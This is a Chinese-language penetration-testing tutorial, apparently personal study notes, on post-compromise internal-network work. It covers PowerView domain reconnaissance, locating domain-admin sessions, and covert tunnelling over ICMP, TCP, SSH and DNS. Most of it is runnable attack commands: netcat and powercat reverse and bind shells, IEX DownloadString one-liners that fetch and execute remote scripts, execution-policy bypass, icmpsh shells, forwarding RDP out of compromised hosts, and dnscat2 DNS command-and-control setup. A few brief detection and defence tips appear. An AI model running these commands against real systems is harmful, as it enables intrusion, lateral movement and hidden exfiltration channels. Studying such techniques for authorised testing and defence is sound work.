查看,我这里将其复制到了C:\Program Files\WindowsPowerShell\Modules文件夹内。接着在 powershell中输入 Import-Module PowerView
即可导入PowerView,使用 Get-Command -Module PowerView
可查看已导入的 PowerView 命令
PowerView 脚本下载地址:https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerView
信息收集相关的脚本
- Invoke-StealthUserHunter:只需要进行一次查询,就可以获取域里面的所有用户。其原理为:从
user.HomeDirectories
中提取所有用户,并对每个服务器进行Get-NetSession
获取。因不需要使用Invoke-UserHunter
对每台机器进行操作,所以这个方法的隐蔽性相对较高(但涉及的机器不一定全面)。PowerView 默认使用Invoke-StealthUserHunter
如果找不到需要的信息,就会使用Invoke-UserHunter
- Invoke-UserHunter:找到域内特定的用户群,接受用户名、用户列表和域组查询,接收一个主机列表或查询可用的主机域名。使用
Get-NetSession
和Get-NetLoggedon
(调用 NetSessionEnum 和 NetWkstaUserEnumAPI )扫描每台服务器并对扫描结果进行比较,从而找出目标用户集,在使用时不需要管理员权限。
#修改PowerShell执行策略
Set-ExecutionPolicy Unrestricted
Import-Module PowerView
Get-Command -Module PowerView
#或者使用绕过执行策略一句话执行
powershell.exe -exec bypass -Command "& {Import-Module PowerView; Invoke-UserHunter}"
PowerView 中的其他信息收集模块:
- Get-NetDomain:获取当前用户所在域名称
- Get-NetUser:获取所有用户的详细信息
- Get-NetDomainController:获取所有域控制器的信息
- Get-NetComputer:获取域内所有机器的详细信息
- Get-NetOU:获取域中的OU信息
- Get-NetGroup:获取所有域内组和组成员信息
- Get-NetFileServer:根据SPN获取当前域使用的文件服务器信息
- Get-NetShare:获取当前域内所有的网络共享信息
- Get-NetSession:获取指定服务器的会话
- Get-NetRDPSession:获取指定服务器的远程连接
- Get-NetProcess:获取远程主机的进程
- Get-UserEvent:获取指定用户的日志
- Get-ADObject:获取活动目录的对象
- Get-NetGPO:获取域内所有组的策略对象
- Get-DomainPolicy:获取域默认策略或域控制器策略
- Invoke-UserHunter:获取域用户登录的计算机信息及该用户是否有本地管理员权限
- Invoke-ProcessHunter:通过查询域内所有的机器进程找到特定用户
- Invoke-UserEventHunter:根据用户日志查询某域用户登录过哪些域机器
Empire
说明:Empire中也有类似Invoke-UserEventHunter的模块,即user_hunter
模块,全称powershell/situational_awareness/network/powerview/user_hunter
,可查看哪个用户登陆过哪台主机,可用于查找域管理员登录的机器
6、查找域管理员进程
说明:先说一下渗透路径,在拿到一台机器立足点之后,会进行提权至该机器的本地管理员用户,通过分析当前机器的用户登录列表和会话信息,能够知道有哪些用户登录过这台机器,那么接下来我们就要再进一步,定位域管理员位置,将权限从本地管理员用户提权至域管理员用户。如果发现获得权限的用户都不是域管理员用户,或者域管理员没有登录过我们拿下的机器,那么就要先扩散到其他内网机器上,在进行同样的步骤,直至拿到域管理员权限。
获取域管理员列表
net group "Domain Admins" /domain
列出本机的所有进程及进程用户
tasklist /v
说明:如果在列出的进程中看到了用户名为域管理员用户名的话,就找到了域管理员进程,如果能找到域管理员登录进程,就能进而收集域管理员的凭据
查询域控制器的域管理会话
说明:想要查询域控制器的域管理会话,需要两个要素。一是,在域控制器中查询域用户会话列表;二是,要在域控制器中查询域管理员列表。这两个列表一对比(术语上叫做交叉引用),即可得到域管理会话的列表
具体步骤:
- 使用net命令查询域控制器列表
net group "Domain Computers" /domain
- 使用net命令查询域管理员列表
net group "Domain Admins" /domain
- 使用netsess查询所有活动域用户的会话列表
netsess -h
对比域用户会话列表和域管理员列表(交叉引用):
- 方法一
#将域控制器列表写入dcs.txt,将域管理员列表写入admins.txt,并与netsess.exe放在同一目录下
#运行以下脚本,会在当前目录下生成一个文本文件sessions.txt
for /F %i in (dcs.txt) do @echo [+] Querying DC %i && @netsess -h %i 2>nul > sessions.txt && for /F %a in (admins.txt) Do @type sessions.txt | @findstr /I %a
BloodHound 的使用(滞留)
说明:BloodHound 使用可视化图形显示域环境中的关系,攻击者可以使用 BloodHound 识别高度复杂的攻击路径,防御者可以使用 BloodHound 来识别和防御那些相同的攻击路径。蓝队和红队都可以使用 BloodHound 轻松深入域环境中的权限关系。BloodHound 通过在域内导出相关信息,在将数据收集后,将其导入Neo4j 数据库中,进行展示分析。因此在安装 BloodHound 时,需要安装 Neo4j 数据库。
基本架构与内网常见软件
常见的Web基本架构
- ASP + Access + IIS 5.0/6.0 + Windows Sever 2003
- ASPX + MSSOL + IIS 7.0/7.5 + Windows Sever 2008
- PHP + MySOL + IIS
- PHP + MySOL + Apache
- PHP + MySOL + Ngnix
- JSP + MySOL + Ngnix
- JSP + MSSOL + Tomcat
- JSP + Oracle + Tomcat
内网常见软件
TeamViewer
域内网段划分
说明:在判断内网环境时,首先需要分析内网IP地址的分布情况。一般可以通过内网中的路由器、交换机等设备,以及SNMP、弱口令等,获取内网网络拓扑或DNS域传送的信息。大型公司通常都有内部网站,因此也可通过内部网站的公开链接来分析IP地址分布情况。公司场景下,常见的域内网段划分有以下几种:
- 按部门划分
- 按楼层划分
- 按地区划分
内网通常可分为DMZ、办公区、核心区(生产区),下面对这几个区域的情况进行逐一介绍
- DMZ:在实际的渗透测试中,大多数情况下,在外围Web环境中拿到的权限都在DMZ中。这个区域不属于严格意义上的内网。如果访问控制策略配置合理,DMZ就会处在从内网能够访问DMZ,而从DMZ访问不能内网的状态
- 办公区:顾名思义,是指日常工作区。办公区的安全防护水平通常不高,基本的防护机制大多为杀毒软件或主机入侵检测产品。在实际的网络环境中,攻击者在获取办公区的权限后,会利用内网信任关系来扩大攻击面。不过,在一般情况下,攻击者很少能够直接到达办公区。攻击者如果想进入办公区,可能会使用鱼叉攻击、水坑攻击或者社会工程学等手段。办公区按照系统可分为OA系统、邮件系统、财务系统、文件共享系统、企业版杀毒系统、内部应用监控系统、运维管理系统等,按照网段可分为域管理网段、内部服务器系统网段、各 部门分区网段等
- 核心区:核心区内一般存放着企业最重要的数据、文档等信息资产(例如域控制器、核心生产机器等),安全设置也最为严格。根据业务的不同,相关服务器可能存在于不同的网段中。在实际网络环境中,攻击者通过分析服务器上运行的服务和进程,就可以推断出目标主机使用的运维监控管理系统和安全防护系统(攻击者在内网中进行横向攻击时,会优先查找这些主机)。核心区按照系统可分为业务系统、运维监控系统、安全系统等,按照网段可分为业务网段,运维监控网段、安全管理网段等
因为大型企业或者单位的内部网络大都采用多层域结构甚至多级域结构,所以,在进行内网渗透测试时,首先要判断当前内网中是否存在多层域、当前计算机所在的域是几级子域、该子域的域控制器及根域的域控制器是哪些、其他域的域控制器是哪些、不同的域之间是否存在域信任关系等
隐藏通信隧道技术
1、隐藏通信隧道基础知识
一般的网络通信,先在两台机器之间建立TCP连接,然后进行正常的数据通信。在知道IP地址的情况下,可以直接发送报文;如果不知道IP地址,就需要将域名解析成IP地址。在实际的网络中,通常会通过各种边界设备、软/硬件防火墙甚至入侵检测系统来检查对外连接的情况,如果发现异常,就会对通信进行阻断。
什么是隧道?这里的隧道,就是一种绕过端口屏蔽的通信方式。防火墙两端的数据包通过防火墙所允许的数据包类型或者端口进行封装,然后穿过防火墙,与对方进行通信。当被封装的数据包到达目的地时,将数据包还原,并将还原后的数据包发送到相应的服务器上。
常用的隧道列举如下:
- 网络层:IPv6隧道、ICMP隧道、GRE隧道
- 传输层:TCP隧道、UDP隧道、常规端口转发
- 应用层:SSH隧道、HTTP隧道、HTTPS隧道、DNS隧道
2、判断内网的连通性(是否出网)
判断内网的连通性是指判断机器能否上外网等。要综合判断各种协议(TCP、HTTP、DNS、ICMP等)及端口通信的情况。常见的允许流量流出的端口有 80、8080、443、53、110、123等。常用的内网连通性判断方法如下:
使用ICMP协议(ICMP连通性检测)
简单介绍一下ICMP协议:
#使用ICMP协议判断内网的连通性
ping www.baidu.com
使用TCP协议(TCP连通性检测)
netcat(简称nc)被誉为网络安全界的“瑞士军刀”,是一个短小精悍的工具,通过使用TCP或UDP协议的网络连接读写数据。
#使用TCP协议判断内网的连通性
nc -zv 外网IP 80
使用http协议(http连通性检测)
curl 是一个利用 URL 规则在命令行下工作的综合文件传输工具,支持文件的上传和下载。curl 命令不仅支持HTTP、HTTPS、FTP 等众多协议,还支持POST、Cookie、认证、从指定偏移处下载部分文件、用户代理字符串、限速、文件大小、进度条等特征。Linux 操作系统自带 curl 命令。
#使用http协议判断内网的连通性
curl www.baidu.com:80
#如果远程主机开启了相应的端口,会输出相应的端口信息;如果远程主机没有开通相应的端口,则没有任何提示,按“Ctrl+C”键即可断开连接
使用DNS协议(DNS连通性检测)
windows下
nslookup是Windows操作系统自带的DNS探测命令,其用法如下所示。在没有指定vps-ip时,nslookup会从系统网络的TCP/IP属性中读取DNS服务器的地址
nslookup www.baidu.com vps-ip
#nslookup www.baidu.com
更多nslookup使用方法,可以输入“nslookup”后,按回车键,然后输入“help”命令进行查询
linux下
dig是Linux默认自带的DNS探测命令,其用法如下所示。在没有指定vps-ip时,dig会到/etc/resolv.conf文件中读取系统配置的DNS服务器的地址。如果vps-ip为192.168.43.1将解析百度网的IP地址,说明目前DNS协议是连通的。更多使用方法,可在Linux命令行环境中输入“dig -h”命令获取。
dig @vps-ip www.baidu.com
#dig www.baidu.com
还有一种情况是流量不能直接流出,而是通过在内网中设置代理服务器,经过代理服务器流出,常见于通过企业办公网段上网的场景。常用的判断方法如下:
-
查看网络连接,判断是否存在与其他机器的 8080(不绝对)等端口的连接(可以尝试运行“ping -n 1 -a ip”命令)
-
查看内网中是否有主机名类似于“proxy”的机器
-
查看IE浏览器的直接代理
-
根据pac文件的路径(可能是本地路径,也可能是远程路径),将其下载下来并查看
- 执行如下命令,利用curl工具进行确认
curl www.baidu.com #通
curl -x proxy-ip:port www.baidu.com #不通
3、网络层隧道技术
IPv6隧道工具使用
IPv6隧道技术是指通过IPv4隧道传送IPv6数据报文的技术。为了在IPv4海洋中传递IPv6信息,可以将IPv4作为隧道载体,将IPv6报文整体封装在IPv4数据报文中,使IPv6报文能够穿过IPv4海洋,到达另一个IPv6小岛。
IPv6隧道的工作过程:
- 节点A要向节点B发送IPv6报文,首先需要在节点A和节点B之间建立一条隧道
- 节点A将IPv6报文封装在以节点B的IPv4地址为目的地址、以自己的IPv4地址为源地址的IPv4报文中,并发往IPv4海洋
- 在IPv4海洋中,这个报文和普通IPv4报文一样,经过IPv4的转发到达节点B
- 节点B收到此报文之后,解除IPv4封装,取出其中的IPv6报文
支持IPv6的隧道工具有:
- socat
- 6tunnel
- nt6tunnel
防御IPv6隧道攻击的方法
针对IPv6隧道攻击,最好的防御方法是:了解IPv6的具体漏洞,结合其他协议,通过防火墙和深度防御系统过滤IPv6通信,提高主机和应用程序的安全性。
ICMP隧道工具使用
说明:在内网中,如果攻击者使用各类上层隧道(例如HTTP隧道、DNS隧道、常规正/反向端口转发等)进行的操作都失败了,常常会通过ping命令访问远程计算机,尝试建立ICMP隧道,将TCP/UDP数据封装到ICMP的ping数据包中,从而穿过防火墙(通常防火墙不会屏蔽ping数据包),实现不受限制的网络访问。ICMP隧道简单、实用,是一个比较特殊的协议。在一般的通信协议里,如果两台设备要进行通信,肯定需要开放端口,而在ICMP协议下就不需要。最常见的ICMP消息为ping命令的回复,攻击者可以利用命令行得到比回复更多的ICMP请求。在通常情况下,每个ping命令都有相对应的回复与请求
用于建立 ICMP 隧道的工具常见有:
- ptunnel
- icmpsh
- icmptunnel
- powershell icmp
ptunnel
介绍:ptunnel 全称 PingTunnel,Kali 下自带该工具,Linux 下安装过程如下
基本使用:
-p: 指定跳板服务器 IP 地址
-lp: 监听本地 TCP 端口
-da: 指定访问目标的内网 IP 地址
-dp: 指定访问目标的端口
-m: 设置隧道最大并发数
-v: 输入内容详细级别(-1到4,其中-1为无输出,4为全部输出)
-udp: 切换使用UDP代替ICMP,代理将监听端口53(必须是 root 权限)
-x: 设置隧道密码,防止滥用(客户端和代理端必须相同)
#在 Kali 攻击机上执行以下命令
ptunnel -p 172.16.214.5 -lp 1080 -da 192.168.7.110 -dp 3389 -x teamssix
#在 Linux Web 跳板机上执行以下命令
ptunnel -x teamssix
icmpsh
介绍:icmpsh 使用很简单,直接在 github 上下载,运行时不需要管理员权限,但是在使用时需要关闭本地系统的 ICMP 应答,不然 shell 的运行会不稳定(表现为一直刷屏,无法进行交互输入)
安装:
#下载工具
git clone https://github.com/inquisb/icmpsh.git
# 安装依赖,或者 pip2 install impacket
# 这里是安装Python的impacket类库,以便对TCP、UDP、ICMP、IGMP、ARP、IPv4、IPv6、SMB、MSRPC、NTLM、Kerberos、WMI、LDAP等协议进行访问。
apt-get install python-impacket
#关闭本地ICMP应答。如果要恢复ICMP应答,则设置为0
sysctl -w net.ipv4.icmp_echo_ignore_all=1
IGMP协议介绍:
NTLM协议介绍:
Kerberos协议介绍:
LDAP协议介绍:
基本使用:
-t host 发送ping请求的主机ip地址,即攻击机的IP [该命令必须存在]
-d milliseconds 请求时间间隔(毫秒)
-o milliseconds 响应超时时间(毫秒)
-s bytes 最大数据缓冲区大小(字节)
#在攻击机上运行
python2 icmpsh_m.py 172.16.214.6 172.16.214.2
#在目标机上运行
./icmpsh.exe -t 172.16.214.6 -d 500 -b 30 -s 128
#在目标主机上运行以上命令之后就能够在攻击机上得到shell
icmptunnel
介绍:icmptunnel 的优势在于可以穿过状态防火墙或 NAT,同样在 github 上进行下载,值得注意的是该工具只有 Linux 版
安装:
git clone https://github.com/jamesbarlow/icmptunnel.git
cd icmptunnel
make
基本使用:
#攻击机 IP:172.16.214.6
#目标机 IP:172.16.214.5
#在攻击机上运行
echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all # 禁用 ICMP echo 回复,防止内核自己对ping包进行响应
./icmptunnel -s # 开启服务端模式
#在攻击机上新开启一个终端运行
/sbin/ifconfig tun0 10.0.0.1 netmask 255.255.255.0 # 指定一个网卡tun0,用于给隧道服务器端分配一个IP地址 (10.0.0.1)
#在目标机上运行
echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all
./icmptunnel 172.16.214.6
#在目标机上新开启一个终端运行
/sbin/ifconfig tun0 10.0.0.2 netmask 255.255.255.0 # 指定一个网卡tun0,用于给隧道服务器端分配一个IP地址 (10.0.0.2)
#在攻击机上,尝试通过 ssh 进行连接
ssh root@10.0.0.2
防御ICMP隧道攻击的方法
许多网络管理员会阻止ICMP通信进入站点。但是在出站方向,ICMP通信是被允许的,而且目前大多数的网络和边界设备不会过滤ICMP流量。使用ICMP隧道时会产生大量的ICMP数据包,我们可以通过Wireshark进行ICMP数据包分析,以检测恶意ICMP流量,具体方法如下
- 检测同一来源的ICMP数据包的数量。一个正常的ping命令每秒最多发送两个数据包,而使用ICMP隧道的浏览器会在很短的时间内产生上千个ICMP数据包
- 注意那些Payload大于64bit的ICMP数据包
- 寻找响应数据包中的Payload与请求数据包中的Payload不一致的ICMP数据包
- 检查ICMP数据包的协议标签。例如,icmptunnel会在所有的ICMP Payload前面添加“TUNL”标记来标识隧道,这就是特征
4、传输层隧道技术
传输层技术包括TCP隧道、UDP隧道和常规端口转发等。在渗透测试中,如果内网防火墙阻止了对指定端口的访问,在获得目标机器的权限后,可以使用Iptables打开指定端口。如果内网中存在一系列防御系统,TCP、UDP流量会被大量拦截
lcx
说明:lcx是一个基于Socket套接字实现的端口转发工具有Windows和Linux两个版本。Windows版为lcx.exe,Linux版为portmap。一个正常的Socket隧道必须具备两端:一端为服务端,监听一个端口,等待客户端的连接;另一端为客户端,通过传入服务端的IP地址和端口,才能主动与服务器连接
windows下
内网端口转发
#内网失陷主机
lcx.exe -slave rhost rport lhost lport
#公网代理主机
lcx.exe -listen lport1 lport2
举个案例
#在目标机器上执行如下命令,将目标机器3389端口的所有数据转发到公网VPS的4444端口上
#内网失陷主机
lcx.exe -slave 123.123.123.123 4444 127.0.0.1 3389
#在VPS上执行如下命令,将本机4444端口上监听的所有数据转发到本机的5555端口上
#公网代理主机
lcx.exe -listen 4444 5555
#在建立连接后,访问公网代理主机的5555端口就能访问到内网失陷主机的3389端口了
#此时,用mstsc登录“<公网主机IP地址>:5555”,或者在VPS上用mstsc登录主机127.0.0.1的5555端口,即可访问目标服务器的3389端口
这里顺便对几个渗透常用术语解释一下
- “rhost"代表"remote host”,指的是远程主机或远程服务器
- “lhost"代表"local host”,指的是本地主机或本地计算机
- “rport"代表"remote port”,指的是远程端口号
- “lport"代表"local port”,指的是本地端口号
- “MSTSC” 是 Microsoft 远程桌面连接(Microsoft Remote Desktop Connection)的缩写
- VPS【可以简单视作云服务器,VPS就是云服务器的一种实现方式】
本地端口映射
如果目标服务器由于防火墙的限制,部分端口(例如 3389)的数据无法通过防火墙,可以将目标服务器相应端口的数据映射到防火墙允许的其他端口(例如 53),在目标主机上执行如下命令,就可以直接从远程桌面连接目标主机的53端口。【如果目标主机的某个端口不能出网,这时可以利用其能够出网的端口,将不能出网的主机端口映射到自身能够出网的端口,再借助端口转发到公网进行访问】
lcx.exe -tran 53 <目标主机 IP 地址> 3389
#将本地主机的53端口映射到3389上【意味着当你在本地主机上发送请求到 53 端口(本地主机),lcx.exe 将会捕获这些请求,并将它们转发到目标主机的 3389 端口上】
linux下
内网端口转发
#内网失陷主机
./portmap -m 3 -h1 127.0.0.1 -p1 22 -h2 <公网主机 IP> -p2 4444
#公网代理主机
./portmap -m 2 -p1 4444 -h2 <公网主机 IP> -p2 5555
#此时访问公网主机 IP 的 5555 端口,就会访问到内网失陷主机的 22 端口了
netcat
说明:nc 全称 netcat,它的功能很多,下面简单记录下几个常用的功能。
nc 下载地址:https://eternallybored.org/misc/netcat/
获取 banner 信息
#不仅可以用来查看 banner 信息,还能用来判断端口是否开放
nc -vv rhost rport
直连shell(正向shell)
- -e直连 shell
# 失陷主机
nc -lvp lport -e /bin/bash # linux 主机
nc -lvp lport -e c:\windows\system32\cmd.exe # windows 主机
# 控制端
nc -v rhost rport
- -c 直连 shell
# 失陷主机
nc -lvp lprot -c /bin/bash # linux 主机
nc -lvp lport -c c:\windows\system32\cmd.exe # windows 主机
# 控制端
nc -v rhost rport
补充,使用nc简易聊天
nc -l -p 888
nc -vn 192.168.1.4 888
powercat
说明:powercat可以视作nc的PowerShell版本
powercat下载地址:https://github.com/besimorhino/powercat.git
#下载下来 powercat.ps1 文件后,直接导入即可
Import-Module .\powercat.ps1
#如果提示未能加载指定模块,则可能是PowerShell开启了受限模式
Set-ExecutionPolicy Unrestricted
#之后就可以导入 powercat 了,导入成功后,输入 powercat -h 可以看到帮助信息
#如果没有权限,也可以直接下载远程文件进行绕过
IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1')
powercat -h
#不过由于github在国内可能会无法打开,因此可以使用web代理站点或者把powercat.ps1文件放到自己的服务器上进行下载
powercat 命令参数
-l 监听模式
-p 指定监听端口
-e 指定启动进程的名称
-v 显示详情
-c 指定想要连接的 IP 地址
-ep 返回 powershell
-dns 使用 dns 通信
-g 生成 payload
-ge 生成经过编码的 payload,可以直接使用 powershell -e 执行该 payload
正向shell
#靶机开启监听,等待 Kali 连接
powercat -l -v -p lport -e cmd.exe
#Kali 上的 nc 连接到靶机
nc -v rhost rport
反向shell
#Kali 上开启监听
nc -lvp 4444
#靶机向 kali 发起连接
powercat -c rhost -p rport -e cmd.exe
#若要返回 powershell
#攻击机上运行
powercat -l -v -p lport
#靶机上运行
powercat -c rhost -p rport -v -ep
作为跳板使用
文件传输
#接收文件
powercat -l -p 9999 -of test.txt -v
#提供文件
powercat -c 10.10.10.129 -p 9999 -i c:\test.txt -v
生成 payload
正向shell
#在攻击机上运行以下命令生成 shell.ps1 payload 文件
powercat -l -p 4444 -e cmd -g > shell.ps1
#将 shell.ps1 文件拷贝到目标主机上后,执行 shell.ps1 文件
#之后在攻击机上运行以下命令即可获得 shell
#powercat -c rhost -p rport -v
反向shell
#在攻击机上生成 ps1 文件,并开启监听
powercat -c rhost -p rport -ep -g > shell.ps1
powercat -l -p 4444 -v
#之后在靶机上,运行 ps1 文件就会上线了
#如果不想生成文件,也可以使用 -ge 生成经过编码的 payload
powercat -c 172.16.214.2 -p 4444 -ep -ge
powercat -l -p 4444 -v
#在靶机上执行刚生成的 payload
powershell -e payload
建立 dns 隧道连接
powercat 的 dns 隧道是基于 dnscat 设计的,因此在服务端需要使用 dnscat 连接。
socat
socat 下载地址:http://www.dest-unreach.org/socat/,或者直接使用 apt-get install socat 安装,Mac 可使用 brew install socat 安装。socat 全称 socket cat,可以视为 nc 的加强版
文件操作
#读取文件
socat - ./test.txt
#写入文件
echo "hello world" | socat - ./test.txt
网络操作
#连接远程端口
socat - TCP:172.16.214.1:22
#监听端口
socat - TCP-LISTEN:8002
端口转发
#转发 TCP 端口
socat TCP4-LISTEN:80,fork TCP4:123.123.123.123:80
#这样在访问当前主机的80端口时,就会访问到123.123.123.123的80端口了,也可以使用-d调整输出信息的详细程度,最多使用四个d,推荐使用两个,即-dd,如下
socat -dd TCP4-LISTEN:80,fork TCP4:123.123.123.123:80
#转发 UDP 端口
socat UDP4-LISTEN:80,fork UDP4:123.123.123.123:80
NAT映射
#通过 socat 也可以将内网端口映射到公网上,不过这种场景还是更推荐用 frp
# 内网主机
socat tcp:123.123.123.123:4444 tcp:127.0.0.1:3389
# 公网主机
socat tcp-listen:4444 tcp-listen:5555
#此时访问公网主机的 5555 端口就可以访问到内网主机的 3389 端口了
5、应用层隧道技术
应用层的隧道通信技术主要利用应用软件提供的端口来发送数据
SSH协议
SSH 全称 Secure Shell
,SSH 协议是一种应用层协议,支持几乎所有 UNIX、Linux 平台。得益于 SSH 协议在传输过程中都是加密,所以在流量层面也较难区分合法的 SSH 流量和攻击者产生的 SSH 流量
拿 SSH 来创建隧道则需要用到下面的参数
-C 压缩传输,提高传输速度。
-f 将 SSH 传输转入后台执行,不占用当前 shell
-N 建立静默连接(建立了连接但看不到具体会话)
-g 允许远程主机连接本地用于转发的端口。
-L 本地端口转发
-R 远程端口转发
-D 动态转发( SOCKS 代理)
-p 指定 SSH 端口
本地转发
目前有这样的一个环境,外网有一台攻击主机 ,可访问处于内网环境的 Web 服务器(双网卡),但无法访问 Web 服务器所在内网的办公主机,接下来就用 SSH 进行流量转发,使外网的攻击主机通过 Web 服务器访问到位于内网的办公主机。
环境拓扑如下:
在攻击主机上执行以下命令,将内网办公主机的 3389 端口映射到自己的 3388 端口上
#ssh -CfNg -L 攻击主机端口:内网办公主机IP:内网办公主机端口 Web服务器ssh用户名@Web服务器IP
ssh -CfNg -L 3388:192.168.7.110:3389 root@172.16.214.5
这条命令的意思就是将 Web 服务器 172.16.214.5 作为跳板,将内网办公主机的 3389 端口转发到攻击主机的 3388 端口,这样只要访问攻击主机的 3388 端口就会访问到内网办公主机的 3389 端口了。
远程转发
远程转发在这里其实也可以说是反向代理,目前有这样的一个环境:内网中不存在边界设备,但是内网的 Web 服务器能访问到攻击主机,而内网的办公主机则不行。
因此可以在拿到 Web 服务器的 Shell 后,采用远程转发的方式,即利用 Web 服务器 SSH 连接到攻击主机上进行代理转发,然后访问攻击主机的端口即可,拓扑图如下:
将 Web 服务器作为跳板,进行远程转发
#ssh -CfNg -R 攻击主机端口:内网办公主机IP:内网办公主机端口 攻击主机ssh用户名@攻击主机IP
ssh -CfNg -R 3388:192.168.7.110:3389 root@172.16.214.48
动态转发
动态转发需要攻击主机能够访问到目标主机,因此这里采用和本地转发一样的拓扑进行演示。
在攻击主机上执行下面的命令
#ssh -CfNg -D 攻击主机端口 Web服务器ssh用户名@Web服务器IP
ssh -CfNg -D 4444 root@172.16.214.5
可以看到动态转发要比本地转发自由度高出不少,借助动态转发可以访问到内网 Web 服务器能访问的所有地址、端口,没有了本地转发只能访问单个IP、端口的限制。
SSH 隧道攻击的防御
对 SSH 进行双向访问控制策略可以避免这些问题,一方面只允许可信 IP 才能连接,一方面只允许连接到可信 IP。
HTTP/HTTPS协议
常见的代理工具:
- reGeorg
- meterpreter
- tunna
- suo5
DNS协议
DNS协议是一种请求/应答协议,也是一种可用于应用层的隧道技术。虽然激增的DNS 流量可能会被发现,但基于传统 Socket 隧道已经濒临淘汰及TCP、UDP 通信大量被防御系统拦截的状况,DNS、ICMP、HTTP/HTTPS 等难以被禁用的协议已成为攻击者控制隧道的主流渠道。一方面,在网络世界中,DNS是一个必不可少的服务;另一方面,DNS 报文本身具有穿透防火墙的能力。由于防火墙和入侵检测设备大都不会过滤 DNS 流,也为 DNS 成为隐蔽信道创造了条件。用于管理僵尸网络和进行APT攻击的服务器叫作C&C服务器(Commandand Control Server.命令及控制服务器)。C&C节点分为两种,分别是C&C服务端(攻击者)和C&C客户端(被控制的计算机)。C&C通信是指植入C&C 客户端的木马或者后门程序与C&C服务端上的远程控制程序之间的通信。正常网络之间的通信,都是在两台机器之间建立TCP连接后进行的。在进行数据通信时:如果目标是IP地址,可以直接发送报文;如果目标是域名,会先将域名解析成IP地址,再进行通信。两台机器建立连接后,C&C服务端就可以将指令传递给C&C客户端上的木马(后门)程序让其受到控制。内网中安装了各种软/硬件防护设施来检查主机与外部网络的连接情况。很多厂商会收集C&C服务端的域名、IP 地址、URL 等数据,帮助防火墙进行阻断操作。这样一来,C&C通信就会被切断。于是,通过各种隧道技术实现 C&C 通信的技术(特别是DNS 隧道技术)出现了。DNS隧道的工作原理很简单:在进行DNS查询时,如果查询的域名不在DNS服务器本机的缓存中,就会访问互联网进行查询,然后返回结果。如果在互联网上有一台定制的服务器,那么依靠DNS协议即可进行数据包的交换。从DNS协议的角度看,这样的操作只是在一次次地查询某个特定的域名并得到解析结果,但其本质问题是,预期的返回结果应该是一个IP地址,而事实上不是,返回的可以是任意字符串,包括加密的C&C指令【C&C又称C2,是一个意思】
在使用DNS隧道与外部进行通信时,从表面上看是没有接连外网的(内网网关没有转发IP数据包),但实际上,内网的DNS服务器进行了中转操作。这就是DNS隧道的工作原理,简单地说,就是将其他协议封装在DNS协议中进行传输。下面做一个更深层次的理解:
DNS迭代查询
DNS记录
域名可以和指定的 IP 进行关联,进而充当 IP 的别名。我们通过域名来访问网络服务时,域名系统会帮我们将域名解析成对应的 IP 地址。域名是否只能关联 IP 地址呢?其实并不是。除了 IP 地址,域名还可以关联其他类型的信息。实际上,域名和与之关联的信息,就构成了一条 DNS记录( DNS record )。DNS记录可以理解成一个键值对:
- 键:域名
- 值:与域名关联的值
除了 IP 地址,DNS记录值还可以是 IPv6 地址、别名、文本等等。据此,DNS记录可分为若干不同类型,包括:
- A:主机 IP 地址
- AAAA:主机 IPv6 地址
- ALIAS:自动解析的别名( alias )
- CNAME:别名的权威名称( canonical name )
- MX:邮件交换服务器( Mail eXchange )
- NS:域名服务器( name server )
- TXT:描述文本
记录类型也就是 DNS 报文中,问题记录和资源记录的类型( Type )
下面对几种DNS记录类型进行详细解释
- AAAA记录
- CNAME记录
- MX记录
- NS记录
- TXT记录
常见的DNS隧道工具
- dnscat2
- iodine
查看DNS的连通性
要使用DNS隧道,就需要先知道当前服务器是否允许通过内部 DNS 解析外部域名,也就是要测试 DNS 的连通性
#查询当前内部域名及IP 地址
cat /etc/resolv.conf | grep -v '#'
#查看能否与内部DNS通信
nslookup 上面查询到的当前内部域名
#查看能否通过内部DNS服务器解析外部域名
nslookup baidu.com
#若能,则意味着可以使用DNS隧道实现隐蔽通信
dnscat2
dnscat2下载地址:https://github.com/iagox86/dnscat2
-
dnscat2 是一款开源C2 工具,与常规 C2 工具不同的是它利用了 DNS 协议来创建加密的 C2 通道
-
dnacat2 的客户端由 C 语言编写,服务端由 Ruby 语言编写,在攻击主机上开启服务端后,客户端放到目标主机上执行相关命令,攻击主机就能够收到来自客户端的会话了。
-
dnscat2 有两种使用模式,一是直连模式,二是中继模式,区别如下:
-
直连模式:客户端直接向指定 IP 地址的 DNS 服务器发起 DNS 解析请求
-
中继模式:像平时上网一样,DNS 先经过互联网的解析,最终指向我们的恶意 DNS 服务器,与直连模式相比速度较慢但是更安全。
-
在安全策略做的比较严格的内网中,如果发现只允许白名单流量出站,而且内网中还有诸多安全设备,同时在传统的 C2 通信无法建立的情况下,就可以尝试使用 DNS 协议建立 C2 通信。
dnscat2服务端安装
#这里以 Ubuntu 为例
git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/server/
sudo gem install bundler
bundle install
#如果运行 sudo gem install bundler 提示 Command 'gem' not found,则需要先安装 ruby
#sudo apt-get install ruby
#如果运行 bundle install 提示 Gem::Ext::BuildError: ERROR: Failed to build gem native extension.,则需要先安装 ruby-dev
#sudo apt-get install ruby-dev
dnscat2客户端安装
#dnscat2 客户端在使用前需要进行编译才能使用,在 Windows 中可以使用 VS 进行编译或者直接使用 PowerShell 的版本,Linux 中可以使用 make install 进行编译
#Linux 下可以通过以下方法进行编译
git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/client/
make
#Windows 可以直接下载已经编译好的版本
#exe 版(解压密码:password):https://downloads.skullsecurity.org/dnscat2/dnscat2-v0.07-client-win32.zip
#PowerShell版:https://github.com/lukebaggett/dnscat2-powershell
#如果使用 PowerShell 版,可以直接使用下面的命令导入,在实际情况中,也更推荐使用 PowerShell 版的,毕竟隐蔽性要更好些。
IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/lukebaggett/dnscat2-powershell/master/dnscat2.ps1')
#或者下载 ps1 文件后,使用以下命令导入
Import-Module .\dnscat2.ps1
dnscat2使用
直连模式
#启动服务端,这里服务端 IP 为 172.16.214.50
cd /dnscat2/server
sudo ruby ./dnscat2.rb -s 553 -c teamssix --no-cache
#启动客户端,这里以 Windows 下的 exe 版为例
dnscat --dns server=172.16.214.50,port=553 --secret=teamssix
#连接成功后,会提示 Session established!
dnscat2 的一些命令
sessions 或 windows 查看当前会话
session -i 1 或 window -i 1 进入 ID 为 1 的会话
shell 建立交互式会话
exec 远程打开程序。如:exec calc.exe
